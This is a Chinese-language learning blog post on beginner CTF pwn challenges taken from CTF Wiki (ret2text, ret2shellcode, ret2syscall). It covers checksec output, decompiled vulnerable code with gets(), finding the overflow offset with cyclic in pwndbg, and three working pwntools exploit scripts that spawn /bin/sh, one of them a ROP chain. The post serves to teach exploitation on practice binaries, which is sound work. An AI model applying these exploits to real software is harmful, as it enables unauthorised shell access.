比赛时web老是坐牢,就想看看pwn坑有多大
先看ctfwiki的栈溢出介绍
CTF Wiki-Stack Overflow
还有函数调用栈的知识
http://www.cnblogs.com/clover-toeic/p/3755401.html
https://www.cnblogs.com/clover-toeic/p/3756668.html
看完后正常人应该就会及时止损放弃学pwn了xd
搭建pwn环境:略(此处省略一万字)
用ctf wiki上的例题学学实操
0x00 ret2text(人生中第0道pwn题)
首先checksec+file命令查看文件信息
root@bridge-virtual-machine:/home/bridge/pwn/ret2text# checksec ret2text
[*] '/home/bridge/pwn/ret2text/ret2text'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
root@bridge-virtual-machine:/home/bridge/pwn/ret2text# file ret2text
ret2text: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=4f13f004f23ea39d28ca91f2bb83110b4b73713f, with debug_info, not stripped
root@bridge-virtual-machine:/home/bridge/pwn/ret2text#
解释一下关键的:
Stack: No canary found
金丝雀保护关。如果开启,会在返回地址前塞一段随机数据,如果被覆盖程序会直接报错
NX: NX enabled
NX开,IP不会指向堆栈上的数据,即不执行堆栈上的数据
ELF 32-bit
32位程序
dynamically linked
参见
动态链接GOT与PLT
这题没用到,先摆着吧
程序功能是简单的输入-输出。拖到ida里分析,发现计导课件常用函数gets,可造成栈溢出
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("There is something amazing here, do you know anything?");
gets(s);
printf("Maybe I will tell you next time !");
return 0;
}
并发现了secure函数下的shell函数
void secure()
{
unsigned int v0; // eax
int input; // [esp+18h] [ebp-10h] BYREF
int secretcode; // [esp+1Ch] [ebp-Ch]
v0 = time(0);
srand(v0);
secretcode = rand();
__isoc99_scanf(&unk_8048760, &input);
if ( input == secretcode )
system("/bin/sh");
}
所以思路就是:利用gets写字符串,覆盖main函数的返回地址,让其指向system("/bin/sh")函数。我们现在要解决的问题就是计算gets函数的参数s距离main函数的返回地址是多少。可以在ida里硬算,但这里用更简单的pwntools+pwndbg计算。
首先用cyclic生成200个垃圾字符
cyclic 200
然后用gdb打开程序
gdb ret2text
pwndbg> run
输入刚才的垃圾字符,回车,可以看到报错
Invalid address 0x62616164
事实上0x62616164是我们刚才输入垃圾字符串(16进制形式)的一部分,而这一部分正好覆盖了main函数的返回地址。
然后可以通过cyclic lookup计算0x62616164距离字符串首字母间隔了几个字符
pwndbg> cyclic -l 0x62616164
112
最后在ida里查到system("/bin/sh")的地址为0x0804863A
然后终于可以愉快地写exp了
from pwn import *
p=process("./ret2text")
pay='a'*112+p32(0x0804863A)
p.sendline(pay)
p.interactive()
0x01 ret2shellcode
在完成从0到1的伟大跨越(?)后,来看看第二题
程序依然还是一行输入。checksec查看保护
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
保护全关
ida查看main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(s);
strncpy(buf2, s, 0x64u);
printf("bye bye ~");
return 0;
}
gets后把字符串赋给了buf2,跟进buf,发现buf2在bss段。
这里先要理清到底内存中哪些地址是变的,哪些地址是不变的。在疯狂搜索和mark哥的讲解后总结出:
0.关于程序内存空间都有哪些段可以看:
一个程序的内存空间分布
1.堆栈取决于系统的地址随机化(ASLR)。
正常情况下都是随机的,但是调试的时候为了方便是固定的。另外,ASLR还会使libc等随机化。
2.程序加载的地址随机化(程序内存空间(代码段,数据段,bss段等)(.text .data .bss etc)
取决于PIE保护是否开启。具体可参考PIE保护详解和常用bypass手段
回到这题,PIE关,所以可以写shellcode到buf2(in .bss)。
在此之前,可以下个断点,用vmmap确认.bss的数据可执行:
pwndbg> b main
Breakpoint 1 at 0x8048536: file ret2shellcode.c, line 8.
pwndbg> run
..........
pwndbg> vmmap
注意到
0x804a000 0x804b000 rwxp 1000 1000 /home/bridge/pwn/ret2shellcode/ret2shellcode
rwxp,可读可写可执行可映射。
这里有个坑。如果用readelf -S ret2shellcode
看.bss的权限会发现它不可执行,这里我们要相信动调结果。
现在思路就是,payload开头写shellcode,然后填垃圾字符,把main函数反址覆盖成buf2地址。
exp如下
from pwn import *
p=process("./ret2shellcode")
shellcode=asm(shellcraft.sh())
buf2addr=0x0804A080
pay=shellcode.ljust(112,"a")+p32(buf2addr)
p.sendline(pay)
p.interactive()
解释一下新的点。
1.我们要发送的shellcode是hex码,asm()的作用是把汇编转化成机器码。而shellcraft.sh()是pwntools(?)库里自带的system("/bin/sh")汇编函数。
事实上,可以用log.info(shellcraft.sh())
看看汇编代码
2.shellcode.ljust(112,"a")
让shellcode左对齐,右边用a补全,字符总长度为112
0X02 ret2syscall
首先得明确这几个汇编语言是什么意思
jmp [addr]
等价于
mov ip,[addr]
call [addr]
等价于
push IP
jmp [addr]
ret
等价于
pop IP
leave(bp.sp复位)
等价于
mov esp, ebp
pop ebp
思路没啥好说的,看ctfwiki跟着学
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/
exp:
from pwn import *
context(os="linux",arch="i386")
context.log_level="debug"
# 0x080bb196 pop_eax_ret
# 0x0806eb90 pop_edx_pop_ecx_pop_ebx_ret
# int_0x80 0x08049421
# offset=112
# binsh=0x080be409
int_0x80=0x08049421
offset=112
binsh=0x080be408
pop_eax_ret=0x080bb196
pop_edx_pop_ecx_pop_ebx_ret=0x0806eb90
p=process("./rop")
pay='a'*offset
pay+=p32(pop_eax_ret)
pay+=p32(0xb)
pay+=p32(pop_edx_pop_ecx_pop_ebx_ret)
pay+=p32(0)
pay+=p32(0)
pay+=p32(binsh)
pay+=p32(int_0x80)
#gdb.attach(p)
p.sendline(pay)
p.interactive()
顺便动调看看一下写完payload后栈的情况
低地址是一堆a
esp附近好像和我们预想的差不多
就先到这里吧,虽然到这里连pwn的门都没入:( 往后还得听Mark哥的话学学动调研究一下内存,还要配一堆其他环境。。而且要期考了呜呜呜